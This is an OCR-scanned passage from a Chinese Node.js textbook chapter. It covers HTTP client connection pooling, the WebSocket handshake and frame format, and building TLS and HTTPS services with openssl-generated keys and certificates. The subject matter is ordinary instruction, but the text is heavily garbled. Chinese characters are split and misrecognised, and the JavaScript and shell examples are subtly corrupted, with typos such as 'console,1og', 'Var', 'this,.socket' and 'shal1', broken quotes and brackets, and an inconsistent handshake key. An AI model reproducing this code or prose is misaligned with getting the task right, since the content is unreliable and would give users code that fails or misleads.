象 中 ， 它 的 事件 叫做 response clientRequest 在 解析 响应 报 文 时 ， 二 
解析 完 响 应 头 就 触发 response 事 件 ， 同 时 传递 一 个 响应 对 象 以 供 操 
作 clientResponse ° 后 续 啊 应 报 文 体 以 只 读 流 的 方式 提供 ， 如 下 所 
A]S: 


function(res) { 
console.log('STATUS: ' + res.statusCode); 
console.log('HEADERS: ' + JSON.stringify(res.headers)); 
res.setEncoding('utf8"'); 
res.on('data', function (chunk) { 
console,1og(chunk ) ; 
}); 
} 


由 于 从 响应 读 取 数据 与 服务 器 端 serverequest 读 取 数 据 的 行为 较为 
类 似 ， 此 处 不 再 袭 述 。 
HTTP 代理 


如 同 服务 器 端的 实现 一 般 ， nttp 提 供 的 clientrequest 对 象 也 是 基于 
TCP 层 实现 的 ， 在 keepalive 的 情况 下 ， = 妓 会 话 连 接 可 以 多 
次 用 于 请 求 。 为 了 重用 TCP 连 接 ，http 模 块 包含 一 个 默认 的 客户 
端 代理 对 象 http.globalAgent SS 它 对 每 个 服务 器 端 (host 本 port) 创 
建 的 连接 进行 了 管理 ， 默 认 情 况 下 ， 通 过 clientequest 对 象 对 同一 
个 服务 器 端 发 起 的 HTTP 请 求 最 多 可 以 创建 5 个 连接 。 它 的 实质 
是 一 个 连接 池 ， 示 意图 如 图 7-5 所 示 。 


图 7-5 ” HTTP 代理 对 服务 器 端 创 建 的 连接 进行 管理 


调用 HTTP 客 户 端 同 时 对 一 个 服务 器 发 起 10 次 HTTP 请 求 时 ， 其 
实质 只 有 5 个 请 求 处 于 并 发 状态 ， 后 续 的 请 求 需 要 等 待 基 个 请 求 


完成 服务 后 才 真 正 发 出 。 这 与 浏览 器 对 同一 个 域名 有 下 载 连接 
数 的 限制 是 相同 的 行为 。 

如 琳 你 在 服务 句 端 通过 clientrequest 调 用 网 络 中 的 其 他 HTTP 服 
务 ， 记 得 关注 代理 对 象 对 网 络 请 求 的 限制 。 一 旦 请 求 量 过 大 ， 
连接 限制 将 会 限制 服务 性 能 。 如 需要 改变 ， 可 以 在 options 中 传递 
agent 选 项 。 默 认 情 况 下 ， 请 求 会 采用 全 局 的 代理 对 象 ， 默 认 连 接 
数 限 制 的 为 5。 

我 们 既 可 以 目 行 构造 代理 对 象 ， 代 码 如 下 : 


var agent = new http.Agent({ 
maxSockets: 10 

}); 

Var options = { 
hostname: "127.0.0.1'， 


port: 1334, 
pathi. A 
method: 'GET', 
agent: agent 


}; 


也 可 以 设置 aoent 选 项 为 false 值 ， 以 脱离 连接 池 的 管理 ， 使 得 请 求 
不 受 并 发 的 限制 。 
Agent 对 象 的 soekets 和 requests 属 性 分 别 表示 当前 连接 池 中 使 用 中 的 
连接 数 和 处 于 等 竺 状态 的 请 求 数 ， 在 业务 中 监视 这 两 个 值 有 助 
于 发 现 业 务 状态 的 繁忙 程度 。 
HTTP 客 户 端 事件 
与 服务 器 端 对 应 的 ，HTTP 客 户 端 也 有 相应 的 事件 。 
response: 与 服务 硕 端 的 request 事 件 对 应 的 客户 端 在 请 求 发 出 
后 得 到 服务 器 端 响应 时 ， 会 触发 该 事件 。 
socket: 当 底 层 连 接 池 中 建立 的 连接 分 配给 当前 请 求 对 象 
时 ， 触 发 该 事件 。 
connect: 当 客 户 问 疝 服务 器 端 发 起 cowecr 请 求 时 ， 如 果 服 务 
妖 端 响应 了 200 状 态 码 ， 客 户 端 将 会 触发 该 事件 。 
upgrade: 客户 端 癌 服务 器 端 发 起 upgrade 请 求 时 ， 如 果 服 务 器 
po 应 了 101 Switching Protocols 状 六 3 入 户 端 将 会 触 发 该 事 
continue : 客户 六 回 服 务 器 端 发 起 Expect: Ocoee 和 局、 2 
以 试图 发 送 较 大 数据 量 ， 如 果 服 务 器 端 啊 应 tee continue 状 
态 ， 客 户 端 将 触发 该 事件 。 


7.4 构建 webSocket 服 务 
提 到 Node， 不 能 销 过 的 是 webSocket 协 议 。 它 与 Node 之 间 的 配合 堪 称 
完美 ， 其 理由 有 两 条 。 


. WebSocket 客 户 端 基于 事件 的 编程 模型 与 Node 中 目 定 义 事件 
相差 无 几 。 


。 ”WebSocket 实 现 了 客户 端 与 服务 器 端 之 间 的 长 连接 ， 而 Node 
事件 驱动 的 方式 十 分 擅长 与 大 量 的 客户 端 保持 高 并 发 连接 。 


除 此 之 外 ，WebSocket 与 传统 HTTP 有 如 下 好 处。 


。 en 可 以 使 用 更 少 的 连 
区 o 

。 WebSocket 服 务 硕 端 可 以 推送 数据 到 客户 端 ， 这 远 比 HTTP 请 
求 啊 应 模式 更 灵活 、 更 高 效 。 

。 有 更 轻 量 级 的 协议 头 ， 城 少数 据 传达 量 。 


WebSocket 最 早 是 作为 HTML5 重 要 特性 而 出 现 的 ， 最 终 在 W3C 和 IETF 
的 推动 下 ， 形 成 RFC 6455 规 范 。 现 代 浏 览 器 大 多 都 支持 WebSocket 协 
议 ， 接 下 来 我 们 用 一 段 代 码 来 展现 WebSocket 在 客户 端的 应 用 示例 : 


var socket = new WebSocket('ws://127.0.0.1:12010/updates' ) ; 
socket.onopen = function () { 
setIinterval(function() { 
if (socket.bufferedAmount == 0) 
socket.send(getUpdateData( )); 
}, 50); 


* 
socket.onmessage = function (event) { 
// TODO: event.data 
}; 


上 述 代 码 中 ， 浏 贤 如 与 服务 妖 端 创建 WebSocket 协 议 请 求 ， 在 请 求 完成 
后 连接 打开 ， 每 50 宫 秒 同 服务 器 端 发 送 一 次 数据 ， 同 时 可 以 通过 
onmessage() 方 法 接收 服务 器 端 传 来 的 数据 。 这 行为 与 TCP 客 户 端 十 分 相 
似 ， 相 较 于 HITP， 它 能 够 双 回 通信 。 浏 览 右 一 旦 能 够 使 用 
WebSocket， 可 以 想象 应 用 的 使 用 空间 极 大 。 

在 WebSocket 之 前 ， 网 页 客户 病 与 服务 絮 端 进行 通信 和 最 局 效 的 是 Comet 
技术 。 实 现 Comet 技 术 的 细节 是 采用 长 轮 询 (long-polling) 或 iframe 
流 。 长 轮 询 的 原理 是 客户 端 加 服务 器 端 发 起 请 求 ， 服 务 器 端 只 在 超时 


或 有 数据 响应 时 断 开 连接 (res.ena()) ; 客户 端 在 收 到 数据 或 者 超时 后 
重新 发 起 请 求 。 这 个 请 求 行 为 拖 着 长 长 的 尾巴 ， 是 故 用 Comet 〈 替 
星 ) 来 命名 它 。 

使 用 WebSocket 的 话 ， 网 页 客户 端 只 需 一 个 TCP 连 接 即 可 完成 双 辐 通 
信 ， 在 服务 器 问 与 客户 端 频 壹 通信 时 ， 无 须 频 演 断 开 连 撑 和 重 发 请 
求 。 连 接 可 以 得 到 高 效应 用 ， 编 程 模型 也 十 分 简洁 。 

前 文 也 或 多 或 少 提 到 了 WebSocket 与 HITP 的 区 别 ， 相 比 HTTP， 
WebSocket 更 接近 于 传输 层 协议 ， 它 并 没有 在 HITP 的 基础 上 模拟 服务 
器 端的 推送 ， 而 是 在 TCP 上 定义 独立 的 协议 。 让 人 迷惑 的 部 分 在 于 
WebSocket 的 握手 部 分 是 由 HTTP 完 成 的 ， 使 人 觉得 它 可 能 是 基于 HTTP 
实现 的 。 

WebSocket 协 议 主要 分 为 两 个 部 分 ， 握手 和 数据 传输 。 下 面 我 们 来 详细 
说 一 说 这 两 个 部 分 。 

7.4.1 WebSocket 握 手 

客户 端 建立 连接 上 时， 通过 HTTP 发 起 请 求 报 文 ， 如 下 所 示 : 


GET /chat HTTP/1.1 

Host: server.example.com 

Upgrade: websocket 

Connection: Upgrade 

Sec-WebSocket-Key: dGhlIHNNhbXBsZSBub25jZzQ== 
Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 


与 普通 的 HTTP 请 求 协议 略 有 区 别 的 部 分 在 于 如 下 这 些 协议 类 : 


Upgrade: websocket 
Connection: Upgrade 


上 述 两 个 字段 表示 请 求 服务 器 端 升 级 协议 为 WebSocket。 其 中 sec- 
AS 用 于 安全 校 验 : 
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 


sec-websocket -key 的 值 是 随机 生成 的 Base64 编 码 的 字符 串 。 服 务 器 端 接收 
到 之 后 将 其 与 字符 串 258EAFA5-E914-47DA-95CA-C5AB6Dc85B11 相 连 ) 形成 字符 串 
WE 人 ] 甬 ] 寸 Ns 

dGhlIHNhbXBsZSBub25jZQ==258EAFA5- E914-47DA-95CA-C5ABODC85B11， 然后 通过 shai 安 全 
散 列 算法 计算 出 结 采 后 ， 再 进行 Base64 编 码 ， 最 后 返回 给 客户 端 。 这 
个 算法 如 下 所 示 : 

var crypto = require('crypto'); 

var val = crypto.createHash('sha1').update(key).digest('base64'); 


另外 ， 下 面 两 个 字段 指定 子 协 议和 版 本 号 : 


Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 


服务 句 端 在 处 理 完 请 求 后 ， 啊 应 如 下 报 文 : 


HTTP/1.1 101 Switching Protocols 

Upgrade: websocket 

Connection: Upgrade 

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+x00= 
Sec-WebSocket-Protocol: chat 


上 面 的 报 文告 之 客户 端正 在 更 换 协议 ， 更 新 应 用 层 协议 为 WebSocket 协 

议 ， 并 在 当前 的 套 接 字 连接 上 应 用 新 协议 。 剩 余 的 字段 分 别 表示 服务 

恬 端 基于 sec-websocket-key 生 成 的 字符 串 和 选中 的 子 协议 。 客 户 端 将 会 校 

eenmepeversereereH 人 如 果 成 功 ， 将 开始 接 下 来 的 数据 传输 

这 里 我 们 用 Node 模 拟 浏 览 如 发 起 协议 切换 的 行为 ， 代 码 如 下 : 
tN 于 请 求 


this.options = parseUrl(ur]); 
this.connect(); 


}; 
WebSocket.prototype.onopen = function () { 
// TODO 


}; 


WebSocket.prototype.setSocket = function (socket) { 
this,.socket = socket,; 


}; 


WebSocket.prototype.connect = function () { 
Var that = this,; 
Var Key = new Buffer(this.options.protocolVersion + bs 
"+ Date,now()).toString('base64 ' ) ， 
var Shasum = crypto.createHash( "shal1' ) ， 
Var expected = shasum.update(key + '258EAFA5-E914-47DA-95CA- 
C5ABODC85B11') .digest('base64'); 


Var options = { 
port: this.options.port, // 12010 
host: this.options.hostname, // 127.0.0.1 
headers: { 
"Connection': "Upgrade '， 
"Upgrade': "websocket '， 
"Sec-WebSocket -Version': this.options.protocolVersion, 
'Sec-WebSocket-Key': key 
} 
3 
var req = http.request(options); 
req.end(); 


req.on('upgrade', function(res, socket, upgradeHead) { 
// 连接 成 功 
that.setSocket(socket); 
// 触发 open 事 件 
that ,onopen( ); 


}); 
小 


下 面 是 服务 右 端的 啊 应 行为 : 


var Server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 


}); 
server.listen(12010); 


// 在 收 到 upgrade 请 求 后 ， 告 之 客户 端 允 许 切 换 协 议 
server.on('upgrade', function (req, socket, upgradeHead) { 
var head = new Buffer(upgradeHead.1length); 
upgradeHead .copy(head ) ; 
var key = req.headers['sec-websocket-key']; 
var Shasum = crypto.createHash('shal1'); 
key = shasum.update(key + "258EAFA5-E914-47DA-95CA- 
C5ABODC85B11") ,digest( "base64 ' ) 
var headers = [ 
'HTTP/1.1 101 Switching Protocols', 
"Upgrade: websocket '， 
"Connection: Upgrade '， 
"Sec-WebSocket-Accept: ' + key, 
'Sec-WebSocket-Protocol: ' + protocol 


// 让 数据 立即 发 送 

socket.setNoDelay(true); 

socket .write(headers.concat('', '').join('\r\n')); 
// 建立 服务 器 端 WebSocket 连 接 

Var websocket = new WebSocket(); 
websocket.setSocket(socket); 


}); 


一 旦 WebSocket 担 手 成 功 ， 服 务 器 端 与 客户 端 将 会 呈现 对 等 的 效果 ， 都 
能 接收 和 发 送 消息 。 

7.4.2 WebSocket 数 据 传输 

在 握手 顺利 完成 后 ， 当前 连接 将 个 再 进行 HITIE 的 交互， 而 是 开始 


WebSocket 的 数据 帆 协 议 ， 实 现 客户 端 与 服务 大 端的 数据 交换 。 图 7-6 
为 协议 升级 过 程 示意 图 。 


Upgrade 


担 手 
切换 协议 


数据 传输 data WebSocket 


图 7-6 协议 升级 过 程 示 意图 
握手 完成 后 ， 客户 端的 onopen0) 将 会 被 触发 执行 ， 代码 如 下 : 


socket.onopen = function () { 
// TODO: opened() 
}; 


服务 恬 端 则 没有 onopenO) 方 法 可 言 。 为 了 完成 TCP 套 授 字 事件 到 
WebSocket 事 件 的 封装 ， 需 要 在 接收 数据 时 进行 处 理 ，WebSocket 的 数 
据 帧 协议 即 是 在 确 层 uata 事 件 上 封闭 完成 鸭 ， 代 人 码 如 下 : 


WebSocket.prototype.setSocket = function (socket) { 
this,.socket = socket,; 
this,.socket.on('data', this,.receiver); 


}; 


同样 的 数据 发 送 时 ， 也 需要 做 封 狠 操作 ， 代 码 如 下 : 


WebSocket .prototype.send = function (data) { 
this._send(data); 


}; 


当 客户 端 调 用 send() 发 送 数 据 时 服务 器 妆 触 发 nmessage( ) ; 当 服务 右 端 
调用 sendg0) 发送 数据 时 ， 客户 端的 omessage0) 触 发 ° 当 我 们 调用 send() 发 送 
有 协议 可 能 将 这 个 数据 封装 为 一 帧 或 多 帧 数据 ， 然 后 逐 帧 


为 了 安全 考虑 ， 客 户 端 需 要 对 发 送 的 数据 帧 进行 掩 码 处 理 ， 服 务 器 一 
旦 收 到 无 掩 码 帧 《比如 中 间 拦 截 破 坏 ) ， 连 接 将 关闭 。 而 服务 器 发 送 
到 客户 问 的 数据 帧 则 无 须 做 掩 码 处 理 ， 同 样 ， 如 有 果 客 户 问 收 到 融 掩 码 
的 数据 帧 ， 连 接 也 将 关闭 。 

我 们 以 客户 端 发 送 nello world! 到 服务 器 端 ， 服务 如 端 回 以 yakexi 作 为 一 个 
流程 来 研究 数据 帧 协议 的 实现 过 程 。 

图 7-7 中 为 WebSocket 数 据 幅 的 定义 ， 每 8 位 为 一 列 ， 也 即 1 个 字 广 。 其 
中 每 一 位 都 有 它 的 意义 。 


~ i AS ， 
[a 避 
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图 7-7 WebSocket 数据 帧 的 定义 
。 fin: 如 末 这 个 数据 帧 是 最 后 一 帧 ， 这 个 tin 位 为 7， 其余 情况 
为 0。 当 一 个 数据 没有 被 分 为 多 帧 时 ， 它 既是 第 一 帧 也 是 最 后 


一 帧 o 

© rsv1l ~ rsv2 、 rsv3: 各 为 1 位 长 ， 3 个 标识 用 于 扩展 ， 当 有 已 协商 
的 扩展 时 ， 这 些 值 可 能 为 1， 其 余 情况 为 0。 

. opcode: 长 为 4 位 的 操作 码 ， 可 以 用 来 表示 0 到 15 的 值 ， 用 于 解 
释 当 前 数据 帧 。0 表 示 附 加 数据 帧 ，1 和 表示 文本 数据 帧 ，2 表 示 
二 进 制 数据 帧 ，8 表 示 发 送 一 个 连接 关闭 的 数据 帧 ，9 表 示 
ping 数 据 帧 ，10 表 示 pong 数 据 帧 ， 其 余 值 和 暂时 没有 定义 。 
ping 数 据 帧 和 pong 数 据 帧 用 于 心路 检测 ， 当 一 端 发 送 ping 数 
据 帧 时 ， 另 一 端 必须 发 送 pong 数 据 帧 作为 啊 应 ， 告 知 对 方 这 
一 端 仍然 处 于 响应 状态 。 


® masked : 表示 是 否 进 行 掩 码 处 理 ， 长 度 为 1 。 客 户 端 发 送 给 服 
务 右 端 时 为 1， 服 务 硕 端 发 送 给 客户 闪 时 为 0。 

e payload length: 一 个 7 、 7+16 或 7+64 位 长 的 数据 位 ， 标识 数据 
的 长 度 ， 如 果 值 在 0~125 之 间 ， 那 么 该 值 就 是 数据 的 真实 长 
度 ; 如 果 值 是 126， 则 后 面 16 位 的 值 是 数据 的 真实 长 度 ， 如 果 
值 是 127， 则 后 面 64 位 的 值 是 数据 的 真实 长 度 。 

© masking key: 当 iiasked 为 1 时 存在 ， 是 一 个 32 位 长 的 数据 位 ， 用 
于 解密 数据 。 

。 payload data: 我 们 的 目标 数据 ， 位 数 为 8 的 倍数 。 


客户 端 发 送 消息 时 ， 需 要 构造 一 个 或 多 个 数据 帧 协议 报 文 。 由 于 nello 
world! 较 短 ， 不 存在 分 割 为 多 个 数据 帧 的 情况 ， 又 由 于 hello worid! 会 以 文 
本 的 方式 发 送 ， 它 的 zataa length 长 度 为 96 (12 字 节 x8 位 / 字 节 ) ) = 
制 表 示 为 1100000。 所 以 报 文 应 当 如 下 : 


fin(1) + res(000) + opcode(0001) + masked(1) + payload length(1100000) + maskin 
g key(32 位 ) + payload data(hello wor1d! 加 密 后 的 二 进 制 ) 


当 以 文本 方式 发 送 时 ， 文 本 的 编码 为 UTF-8， 由 于 这 里 发 送 的 不 存在 
x BA Of 

客户 端 发 送 消息 后 ， 服 务 器 端 在 sata 事 件 中 接收 到 这 些 编码 数据 ， 然 后 
解析 为 相应 的 数据 帧 ， 再 以 数据 帧 的 格式 ， 通 过 摘 码 将 真正 的 数据 解 
密 出 来 ， 然后 触发 onmessage() 执 行 ， 如 下 所 示 : 


socket.onmessage = function (event ) { 
// TODO: event ,data 


服务 器 端 再 回复 yakexi 的 时 候 ， 剩 下 的 事情 就 是 无 须 掩 码 ， 其 余 相 同 ， 
如 下 所 示 : 


fin(1) + res(000) + opcode(0001) + masked(0) + payload length(1100000) + payloa 
| 


d data(yakexi 的 二 进 制 ) 


这 里 的 行为 与 纯 TCP 连 接 的 行为 十 分 类 似 ， 近 似 地 可 以 理解 为 TCP 客 
户 端 套 接 字 的 connect 事 件 和 data 事 件 . 


至 此 ，WebSocket 的 原理 介绍 完毕 ， 具 体 如 何 解 析 数 据 帆 和 触发 
onmessage() ， 请 参考 ws 模块 的 实现 ， 由 于 其 有 过 多 细 和 ， 这 里 不 再 展开 
描述 。 

7.4.3 ”小 结 


在 所 有 的 WebSocket 服 务 器 端 实现 中 ， 没 有 比 Node 更 贴近 WebSocket 的 
使 用 方式 了 。 它 们 的 共性 有 以 下 内 容 。 


。 基于 事件 的 编程 接口 。 
。 基于 JavaScript， 以 封装 展 好 的 WebSocket 实 现 ，API 与 客户 端 
可 以 高 度 相 似 。 


另外 ，Node 基 于 事件 驱动 的 方式 使 得 它 应 对 WebSocket 这 类 长 连接 的 
应 用 场景 可 以 轻松 地 处 理 大 量 并 发 请 求 。 尺 管 Node 没 有 内 置 
WebSocket 的 库 ， 但 是 社区 的 ws 模块 封装 了 WebSocket 的 底层 实现 。 
socket ,io 即 是 在 它 的 基础 上 构建 实现 的 


7.5 ”网络 服务 与 安全 

在 网 络 中 ， 数 据 在 服务 器 端 和 客户 端 之 间 传 递 ， 由 于 是 明文 传递 的 内 
容 ， 一 旦 在 网 络 袖 人 监控 ， 数 据 束 可 能 一 宽 无 余地 展现 在 中 间 的 镭 听 者 
面前 。 为 此 我 们 需要 将 数据 加 密 后 再 进行 网 络 传输 ， 这 样 即 使 数据 被 截 
获 和 窃听 ， 宅 听 者 也 无 法 知道 数据 的 真实 内 容 是 什么 。 但 是 对 于 我 们 的 
应 用 层 协 议 而 言 ， 如 HITP、FTP 等 ， 我 们 仍然 希望 能 够 透明 地 处 理 数 
据 ， 而 无 须 操 心 网 络 传输 过 程 中 的 安全 问题 。 在 网 景 公司 的 NetScape 浏 览 
器 推出 之 初 就 提出 了 SSL (Secure Sockets Layer， 安 全 套 接 层 ) 。SSL 作 
为 一 种 安全 协议 ， 它 在 传输 层 提供 对 网 络 连 接 加 密 的 功能 。 对 于 应 用 层 
而 言 ， 它 是 透明 的 ， 数 据 在 传递 到 应 用 层 之 前 就 已 经 完成 了 加 密 和 解密 
的 过 程 。 最 初 的 SSL 应 用 在 Web 上 ， 被 服务 器 端 和 浏 贤 器 端 同时 支持 ， 随 
后 A 称 为 TLS (Transport Layer Security， 安 全 传输 层 协 
议 o 

Node 在 网 络 安全 上 提供 了 3 个 模块 ， 分 别 为 crypte、tls、https。 其 中 crypto 主 
要 用 于 加 密 解 密 ，SHA1、MD5 等 加 密 算 法 都 在 其 中 有 体现 ， 在 这 里 我 们 
不 用 再 提 “。 真正 用 于 网 络 的 是 另外 两 个 模块 ，tas 模 块 提供 了 与 ret 模块 类 
似 的 功能 ， 区 别 在 于 它 建 立 在 TLS/SSL 加 密 的 TCP 连 接 上 。 对 于 https 而 
它 完 全 与 nttp 模 块 接口 一 致 ， 区 别 也 仅 在 于 它 建立 于 安全 的 连接 之 


7.5.1 TLS/SSL 


1. 密 钥 

TLS/SSL 是 一 个 公 钥 / 私 钥 的 结构 ， 它 是 一 个 非 对 称 的 结构 ， 
个 服务 器 端 和 客户 端 都 有 目 己 的 公私 铀 。 公 钥 用 来 加 密 要 传输 
的 数据 ， 私 钥 用 来 解密 接收 到 的 数据 。 公 钥 和 私 钥 是 配对 的 ， 
通过 公 钥 加 密 的 数据 ， 只 有 通过 私 钥 才能 解密 ， 所 以 在 建立 安 
全 传输 之 前 ， 窗 户 端 和 服务 器 端 之 间 需 要 互 换 公 铀 。 客 户 端 发 
送 数据 时 要 通过 服务 器 端的 公 钥 进行 加 密 ， 服 务 器 端 发 送 数据 
时 则 需要 客户 端的 公 钥 进行 加 密 ， 如 此 才能 完成 加 密 解 密 的 过 
程 ， 如 图 7-8 所 示 。 


加 密 解密 
去 
服务 器 端 公 铀 传输 服务 器 端 私 铀 


加 密 


图 7-8 ”客户 端 和 服务 器 端 交 换 密 钥 


Node 在 底层 采用 的 是 openssi 实 现 TLS/SSL 的 ， 为 此 要 生成 公 钥 和 
nn 。 我 们 分 别 为 服务 器 端 和 客户 问 生 成 私 
， 如 下 所 示 : 


// 生成 服务 器 端 私 钥 

$ openssl genrsa -out server.key 1024 
// 生成 客户 端 私 钥 

$ openssl genrsa -out client.key 1024 


上 述 命 令 生 成 了 两 个 1024 位 长 的 RSA 私 钥 文 件 ， 我 们 可 以 通过 它 
继续 生成 公 钥 ， 如 下 所 示 : 


$ openssl rsa -in server.key -pubout -out server.pem 
$ openssl rsa -in client.key -pubout -out client.pem 


公私 钥 的 非 对 称 加 密 虽 好 ， 但 是 网 络 中 依然 可 能 存在 午 听 的 情 
况 ， 典 型 的 例子 是 中 间 人 攻击 。 客 户 端 和 服务 器 端 在 交换 公 钥 
的 过 程 中 ， 中 间 人 对 客户 端 扮 演 服 务 器 端的 角色 ， 对 服务 器 端 
扮演 客 户 端 的 角色 ， 因 此 客户 端 和 服务 大 端 几乎 感受 不 到 中 间 
人 的 存在 。 为 了 解决 这 种 问题 ， 数 据 传 输 过 程 中 还 需要 对 得 到 
的 公 钥 进行 认证 ， 以 确认 得 到 的 公 钥 是 出 自 目 标 服务 器 。 如 采 
不 能 保证 这 种 认证 ， 中 间 人 可 能 会 将 伪造 的 站 点 啊 应 给 用 户 ， 
从 而 造成 经 济 损失 。 图 7-9 是 中 间 人 攻击 的 示意 图 。 


服务 器 端 


客户 端 私 钥 


“、、 [伪装 的 
服务 器 端 


图 7-9 中间 人 攻击 示意 图 
为 了 解决 这 个 问题 ，TLS/SSL 引 入 了 数字 证 书 来 进行 认证 。 与 直 
接 用 公 钥 不 同 ， 数 字 证 书 中 包含 了 服务 嘎 的 名 称 和 主机 名 、 服 


务 器 的 公 钥 、 签 名 颁发 机 构 的 名 称 、 来 目 签名 颁发 机 构 的 签 

名 。 在 连接 建立 前 ， 会 通过 证 书 中 的 签名 确认 收 到 的 公 钥 是 来 

目 目 标 服务 右 的 ， 从 而 产生 信任 关系 。 

数字 证 书 

为 了 确保 我 们 的 数据 安全 ， 现 在 我 们 引入 了 一 个 第 三 方 : CA 
(Certificate Authority， 数 字 证 书 认 证 中 心 ) 。CA 的 作用 是 为 站 

点 颁发 证 书 ， 且 这 个 证 书 中 具有 CA 通过 自己 的 公 钥 和 私 钥 实现 

的 签名 。 

为 了 得 到 等 名 证 书 ， 服 务 器 端 需要 通过 目 己 的 私 钥 生 成 CSR 
(Certificate Signing Request， 证 书签 名 请 求 ) 文件 。CA 机 构 将 

通过 这 个 文件 颁发 属于 该 服务 器 端的 签名 证 书 ， 只 雪 通 过 CA 机 

构 就 能 验证 证 书 是 否 合法 。 

通过 CA 机 构 颁 发 证 书 通 第 是 一 个 烦琐 的 过 程 ， 需 要 付出 一 定 的 

精力 和 费用 。 对 于 中 小 型 企业 而 言 ， 多 半 是 采用 目 签 名 证 书 来 

构建 安全 网 络 的 。 所 谓 目 签 名 证 书 ， 就 是 自己 扮演 CA 机 构 ， 给 
自己 的 服务 器 端 颁发 签名 证 书 。 以 下 为 生成 私 钥 、 生 成 CSR 文 

件 、 通 过 私 钥 自 签名 生成 证 书 的 过 程 : 

$ openssl genrsa -out ca.key 1024 


$ openssl req -new -key ca.key -out ca.csr 
$ openssl x509 -req -in ca.csr -signkey ca.key -out ca.crt 


其 流程 如 图 7-10 所 示 。 


图 7-10 ”生成 自 签名 证 书 示意 图 
上 述 步骤 完成 了 扮演 CA 角色 需要 的 文件 。 接 下 来 回 到 服务 器 
端 ， 服 务 器 端 需 要 向 CA 机 构 申 请 签名 证 书 。 在 申请 签名 证 书 之 


前 依然 是 要 创建 自己 的 CSR 文 件 。 值 得 注意 的 是 ， 这 个 过 程 中 的 
Common Name 要 匹配 服务 器 域名 ， 和 否则 在 后 续 的 认证 过 程 中 会 
出 销 。 如 下 是 生成 CSR 文 件 所 用 的 命令 : 


$ openssl req -new -key server.key -out server.csr 


得 到 CSR 文 件 后 ， 癌 我 们 自己 的 CA 机 构 申 请 签名 吧 。 签 名 过 程 
5 ， 最 终 颁 发 一 个 带 有 CA 签名 的 证 书 ， 
0 不 : 


$ openss1 x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr - 
out server.crt 


客户 端 在 发 起 安全 连接 前 会 去 获取 服务 硕 端 的 证 书 ， 并 通过 CA 
的 证 书 验 证 服务 器 端 证 书 的 真 伪 。 除 了 验证 真 伪 外 ， 通 稍 还 合 
有 对 0 ` IP 地 址 等 进行 验证 的 过 程 。 这 个 验证 过 程 如 图 
7-11 所 示 。 


验证 签名 
(六 


图 7-11 客户 端 通过 CA 验证 服务 器 端 证 书 的 真 伪 过 程 示意 图 
CA 机 构 将 证 书 颁 发 给 服务 器 端 后 ， 证 书 在 请 求 的 过 程 中 会 被 发 
送 给 客户 端 ， 客 户 端 需要 通过 CA 的 证 书 验证 真 伪 。 如 果 是 知名 
的 CA 机 构 ， 它 们 的 证 书 一 般 预 装 在 浏览 姻 中 。 如 果 是 目 己 扮 演 
CA 机 构 ， 颁 发 目 有 签名 证 书 则 不 能 享受 这 个 福利 ， 客 户 端 需要 
获取 到 CA 的 证 书 才能 进行 验证 。 

上 述 的 过 程 中 可 以 看 出 ， 签 名 证 书 是 一 环 一 环 地 颁发 的 ， 但 是 
在 CA 那里 的 证 书 是 不 需要 上 级 证 书 参与 签名 的 ， 这 个 证 书 我 们 
通 尝 称 为 根 证 书 。 


7.5.2 ”TLS 服务 


1. 


创建 服务 器 端 

将 构建 服务 所 需要 的 证 书 都 备 齐 之 后 ， 我 们 通过 Node 的 ts 模块 
i 这 个 服务 是 一 个 简单 的 echo 服 务 ， 
> 码 如 下 ， 


var tls = require('tls'); 
var fs = require('fs'); 


Var options = { 
key: fs.readFileSync('./keys/server.key'), 
cert: fs.readFileSync('./keys/server.crt'), 
requestCcert: true, 
ca: [ fs.readFileSync('./keys/ca.crt') | 


}; 

Var server = tls.createServer(options，function (stream) { 
console.log('server connected', stream.authorized ? 'authorized' : "unautho 

rized'); 


stream.write("welcome!\n"); 
stream.setEncoding('utf8'"); 
stream.pipe(stream); 

}); 


server.listen(8000, function() { 


console.log('server bound ' ) ; 


了 ) 
启动 上 述 服务 后 ， 通 过 下 面 的 命令 可 以 测试 证 书 是 否 正 常 : 


$ openssl s_client -connect 127.0.0.1:8000 


D: TLS 客 户 端 
为 了 完善 整个 体系 ， 接 下 来 我 们 用 Node 来 模拟 客户 端 ， 如 同 net 
模块 一 样 ，t1s 模 块 也 提供 了 connect0) 方 法 来 构建 客户 端 。 在 构建 
0 需要 为 客户 端 生 成 属于 自己 的 私 钥 和 签 
A ， > 看 刀 0 . 


// 创建 私 钥 

$ openssl genrsa -out client.key 1024 

// 生成 CSR 

$ openSsSsl req -new -key client.key -out client .csr 
// 生成 签名 证 书 
$ openss1 x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in client.csr - 
Out client.crt 


并 创建 客户 端 ， 代 码 如 下 : 


var tls = require(' tls')， 
var fs = require('fs'); 


Var options = { 
key: fs.readFileSync('./keys/client.key'), 
cert: fs.readFileSync('./keys/client.crt'), 
ca: [ fs.readFileSync('./keys/ca.crt') | 


了 


var Stream = tls.connect(8000, options, function () { 


console.log('client connected', stream.authorized ? 'authorized' : 'unautho 
rized' ); 

process.stdin.pipe(stream); 
}); 


stream.setEncoding('utf8'"); 
stream.on('data', function(data) { 
console.log(data); 


stream.on('end', function() { 
server.close(); 


了 


局 动 客户 端的 过 程 中 ， 用 到 了 为 客户 端 生 成 的 私 钥 、 证 书 、CA 
证 书 。 客 户 端 启动 之 后 可 以 在 输入 流 中 输入 数据 ， 服 务 器 端 将 
会 回应 相同 的 数据 。 

至 此 我 们 完成 了 TLS 的 服务 器 端 和 客户 端的 创建 。 与 普通 的 TCP 
服务 如 端 和 客户 端 相 比 ，TLS 的 服务 器 端 和 客户 端 仅 仅 只 在 证 书 
的 配置 上 有 差别 ， 其 余部 分 基本 相同 。 


7.5.3 HTTPS 服 务 


HTTPS 服 务 就 是 工作 在 TLS/SSL 上 的 HTTP。 在 了 解 了 TLS 服 务 后 ， 创 建 
HTTPS 服 务 是 再 简单 不 过 的 事情 。 


1. 准备 证 书 
HTTPS 服 务 需 要 用 到 私 钥 和 签名 证 书 ， 我 们 可 以 直接 用 上 文生 
成 的 私 钥 和 证 书 。 

: 创建 HTTPS 服 务 


创建 HITPS 服 务 只 比 HTTP 服 务 多 一 个 选项 配置 ， 其 余地 方 几乎 
